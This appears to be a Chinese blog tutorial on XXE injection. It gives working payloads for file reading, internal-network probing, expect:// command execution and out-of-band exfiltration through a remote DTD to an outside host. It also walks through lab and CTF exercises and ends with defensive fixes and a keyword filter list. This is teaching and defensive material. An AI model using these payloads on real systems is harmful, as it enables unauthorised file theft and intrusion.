39 WEB漏洞-XXEXML之利用检测绕过全解
目录
- 涉及案例
- pikachu靶场xml数据传输测试-回显、玩法、协议、引入
- 玩法-读文件
- 玩法-内网探针或攻击内网应用(触发漏洞地址)
- 玩法-RCE
- 引入外部实体dtd
- 无回显-读取文件
- 协议-读文件(绕过)
- xxe-lab靶场登陆框xml数据传输测试-检测发现
- CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
- xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
- CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
- xxe漏洞修复与防御方案-php,java,python-过滤及禁用
文章分享:https://www.cnblogs.com/zhengna/p/15740341.html

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害
XML与HTML的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
#DTD
文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE声明
(2)外部文档声明
#DTD实体
(1)内部实体声明
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">(3)参数实体声明
<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">涉及案例
pikachu靶场xml数据传输测试-回显、玩法、协议、引入

玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo {
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
>
]>
<x>&rabbit;</x>
玩法-RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
实战情况下,这种情况很难碰到,不能去执行命令
引入外部实体dtd
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
对方允许外部实体,那么它就可以去调用远程的实体去执行相关的攻击代码,这种类似于,我们在讲文件包含的时候,本地包含,远程包含的一个概念,这种引用外部实体dtd文件,其实就类似于远程包含漏洞的原理
自定义的攻击代码,为了绕过一些远程防御的代码,因为对方有检测有防御软件的话,他会去跟踪用户行为,发现你正在对这个文件进行读取,他会拦截,或者在代码中分析到有关键的协议名,或者是观念的东西,可能会有拦截,这种时候就把你的核心代码放在上面,这个payload远程去请求并执行核心代码
应用场景在于绕过和进行自定义攻击,要攻击的时候,改dtd文件就可以了
无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>test.dtd:
<!ENTITY % payload"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
没有回显,我们就不知道你读的内容,那这个攻击就没有什么意义了
file变量读取指定内容,读到之后会复制给file,执行dtd里面的代码
协议-读文件(绕过)
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>
网上有很多字典关于xxe攻击的payload
xxe-lab靶场登陆框xml数据传输测试-检测发现
1.提交的数据包含XML格式如:
admin
2.请求头中如:
Content-Type: text/xml或Content-type:application/xml<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password><
/user>
xxe扫描工具网上也有,但是效果我没有尝试
主要是通过爬行的数据包,用BP抓包,并且在bp上面有爬行数据包的功能,我们可以让bp帮我们爬取整个网站,把地址请求都爬一遍,爬完之后,可以在每个数据包里面进行批量搜索,搜索Content-Type值的判断,如果在这个数值里面,发现有text/xml或者application/xml,表示后面接上的数据,都是xml的格式语言的数据传递,这个时候是符合xml语言的接收,这个时候就能够进行尝试漏洞
根据传输数据的格式,这个格式的写法就是典型的xml语言代码的写法
盲猜,没有并不代表接收,他可能在代码当中是正常显示,只是说这个数据包没有正常显示,这个时候你就能够去尝试更改类型,更改为text/xml或着application/xml其中的一种,再把攻击语句写到数据那里,实现对它测试有没有xxe漏洞,这就是根据人工方法去测试有没有漏洞,是否存在的常规操作

对网站进行爬取

这种写法就是典型的xml写法,他是符合测试xxe漏洞存在的,这个时候,我们对它进行攻击,直接把payload复制上去就可以了
找到符合漏洞存在的数据包,我们在提交数据这里,提交自身的payload进行攻击

他这种提交数据给到上面之后,他的数据传输形式采用的是json的形式提交的,这种就是盲猜了,猜你有没有,我们直接修改Content-Type类型,因为数据包你不修改这个类型的话,传输数据的时候,这个写法就不识别了
CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
http://web.jarvisoj.com:9882/
更改请求数据格式:application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
把数据格式换成payload的格式,之前讲的方法是先判断他符不符合xml的格式,符合,我们在确定他有没有这个漏洞,所以这两个概念是不一样的
更改数据包来实现xxe漏洞的盲猜
xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
XXEinjector使用方法:https://www.cnblogs.com/bmjoker/p/9614990.html
XXEinjector检测工具:https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjokex/p/9614990.html
xxe_payload_fuzz
从发现目标地址到目标的资产收集,对目标的资产信息进行攻击,找到对应的漏洞来实现一步步的操作
CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT Y ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
靶机综合难度来说还是有一些的,他不会像发现漏洞、利用漏洞就完了,他中间会给你绕一下
xxe漏洞修复与防御方案-php,java,python-过滤及禁用
#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))
#方案2-过滤用户提的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
XXE漏洞产生的根本原因就是网站有接收xml数据,xml其实就是语言,网站有接收xml的数据,但是它没有进行过滤,所以我们可以让他接收xml的一些代码,这个代码就是执行文件读取这个操作的,他其实从我们讲的注入里面,json注入,反序列化,都是一种数据的格式问题
相关文章:
39 WEB漏洞-XXEXML之利用检测绕过全解
目录 涉及案例pikachu靶场xml数据传输测试-回显、玩法、协议、引入玩法-读文件玩法-内网探针或攻击内网应用(触发漏洞地址)玩法-RCE引入外部实体dtd无回显-读取文件协议-读文件(绕过)xxe-lab靶场登陆框xml数据传输测试-检测发现CTF-Jarvis-OJ-Web-XXE安全…...
X32位汇编和X64位区别无参函数分析(一)
前言 一、X32汇编函数无参无返回分析 二、X64汇编函数无参无返回分析 总结 前言 提示:以下是个人学习总结:如有错误请大神指出来,只供学习参考,本内容使用使用VS2017开发工具:语言是C,需要一些常见的汇编指…...
数据仓库分层
原因 用空间换时间,通过大量的预处理来提升应用系统的用户体验(效率),因此数据仓库会存在大量冗余的数据。如果不分层的话,如果源业务系统的业务规则发生变化将会影响整个数据清洗过程,工作量巨大。通过数…...
华为企业AP开启IPV6包转发
现象: 华为企业AP默认关闭IPV6转发,影响是即便是桥接模式下客户端无法与IPV6网关等设备通信。 web页面无任何相关配置项。 解决: ssh或串口登录,wlan视图下执行sta-ipv6-service enable 开启即可。 <HUAWEI> system-vi…...
mysql 指定库对所有表加tenant_id
mysql 指定库里所有表加tenant_id 由于业务所需,区分公司主体,tenant_id油然而生 但库里表至少几百个,不可能一个一个去加,时间成本,人力成本都很大,所以写一个存储过程函数,对其进行一次性操作…...
uniapp 测试 app 到安卓模拟器部署方法以及常见错误解决 无废话
uniapp 测试 app 到安卓模拟器 1.1 安装安卓模拟器 https://www.yeshen.com/ 1.2 查看安装模拟器端口 右击夜神模拟器属性打开文件位置 在打开的文件夹找到 debugReport 双击运行查看运行出来的端口号 一般都是:62001 1.3 HBuilder 配置 选中项目运行运行到手机…...
Qt作业九
1、思维导图 2、作业 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTimer> #include <QTime> #include <QTimerEvent> #include <QTextToSpeech>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAME…...
vulkan SDK安装
文章目录 一. vulcan官网二.安装流程 一. vulcan官网 https://vulkan.lunarg.com/sdk/home#windows 二.安装流程 点击下载 双击下载的*.exe进行安装 点击下一步 点击下一步 选择安装位置,点击下一步 点击全选,选择下一步 勾选同意…...
vscode调试技巧 断言 assert
目录 调试技巧标题debug release介绍调试技巧断点 断点的意思 就是代码执行到断点处停下来,让你去调试。不管前面有多少代码,直接跳到断点处(当然前面的已经执行)逐过程 不会进入调用函数内部,不管里面怎么执行。 逐语…...
2、Kafka 生产者
3.1 生产者消息发送流程 3.1.1 发送原理 在消息发送的过程中,涉及到了两个线程——main 线程和 Sender 线程。在 main 线程 中创建了一个双端队列 RecordAccumulator。main 线程将消息发送给 RecordAccumulator, Sender 线程不断从 RecordAccumulator 中…...
使用CDN构建读取缓存设计
在构建需要高吞吐量和最小响应时间的系统的API时,缓存几乎是不可避免的。每个在分布式系统上工作的开发人员都曾在某个时候使用过某种缓存机制。在本文中,我们将探讨如何使用CDN构建读取缓存设计,不仅可以优化您的API,还可以降低基…...
windows上下载github上的linux内核项目遇到的问题
问题一:clone的时候报错 Cloning into G:\github\linux... POST git-upload-pack (gzip 27925 to 14032 bytes) remote: Counting objects: 6012062, done. remote: Compressing objects: 100% (1031/1031), done. remote: Total 6012062 (delta 893), reused 342 (…...
Leetcode 15:三数之和
给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k ,同时还满足 nums[i] nums[j] nums[k] 0 。请 你返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三元组。 解题思…...
npm常用命令与操作篇
npm简介 npm是什么 npm 的英文是,node package manager,是 node 的包管理工具 为什么需要npm 类比建造汽车一样,如果发动机、车身、轮胎、玻璃等等都自己做的话,几十年也做不完。但是如果有不同的厂商,已经帮我们把…...
Go 语言的垃圾回收机制:自动化内存管理
在编程的世界中,内存管理一直是一个重要的问题。不正确的内存管理可能导致内存泄漏和程序崩溃。Go 语言以其高效的垃圾回收机制而闻名,使开发者从手动内存管理的烦恼中解脱出来。本文将深入探讨Go语言的垃圾回收机制,介绍它的工作原理以及如何…...
java-各种成员变量初始化过程-待完善
前置条件 一、本文章讨论的成员变量 public static final String aa "aa";public static final Integer bb 1;public static final Students cc new Students();public static String aa1 "aa";public static Integer bb1 1;public static String bb2…...
059:mapboxGL监听键盘事件,通过eastTo控制左右旋转
第059个 点击查看专栏目录 本示例是介绍演示如何在vue+mapbox中监听键盘事件,通过eastTo控制左右旋转。 本例通过easeTo方法来加减一定数值的bearing角度,通过.addEventListener的方法来监听键盘的按键动作。这里一定要设置interactive: false, 否则展现不出来旋转效果。 直…...
jdk对linux cgroup v2容器化环境识别情况
Linux各发行版将cgroups v2作为默认的情况如下: Container-Optimized OS(从 M97 开始)Ubuntu(从 21.10 开始,推荐 22.04)Debian GNU/Linux(从 Debian 11 Bullseye 开始)Fedora&…...
vue3后台管理系统之顶部tabbar组件搭建
1.1静态页面搭建 <template><div class"tabbar"><div class"tabbar_left"><!-- 面包屑 --><Breadcrumb /></div><div class"tabbar_right"><!-- 设置 --><Setting /></div></di…...
安装Apache2.4
二、安装配置Apache: 中文官网:Apache 中文网 官网 (p2hp.com) 我下的是图中那个版本,最新的64位 下载下后解压缩。如解压到D:\tool\Apache24 PS:特别要注意使用的场景和64位还是32位版本 2、修改Apcahe配置文件 2.1配置Apache…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
云计算——弹性云计算器(ECS)
弹性云服务器:ECS 概述 云计算重构了ICT系统,云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台,包含如下主要概念。 ECS(Elastic Cloud Server):即弹性云服务器,是云计算…...
(十)学生端搭建
本次旨在将之前的已完成的部分功能进行拼装到学生端,同时完善学生端的构建。本次工作主要包括: 1.学生端整体界面布局 2.模拟考场与部分个人画像流程的串联 3.整体学生端逻辑 一、学生端 在主界面可以选择自己的用户角色 选择学生则进入学生登录界面…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
ETLCloud可能遇到的问题有哪些?常见坑位解析
数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
Ascend NPU上适配Step-Audio模型
1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤)&#x…...
NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
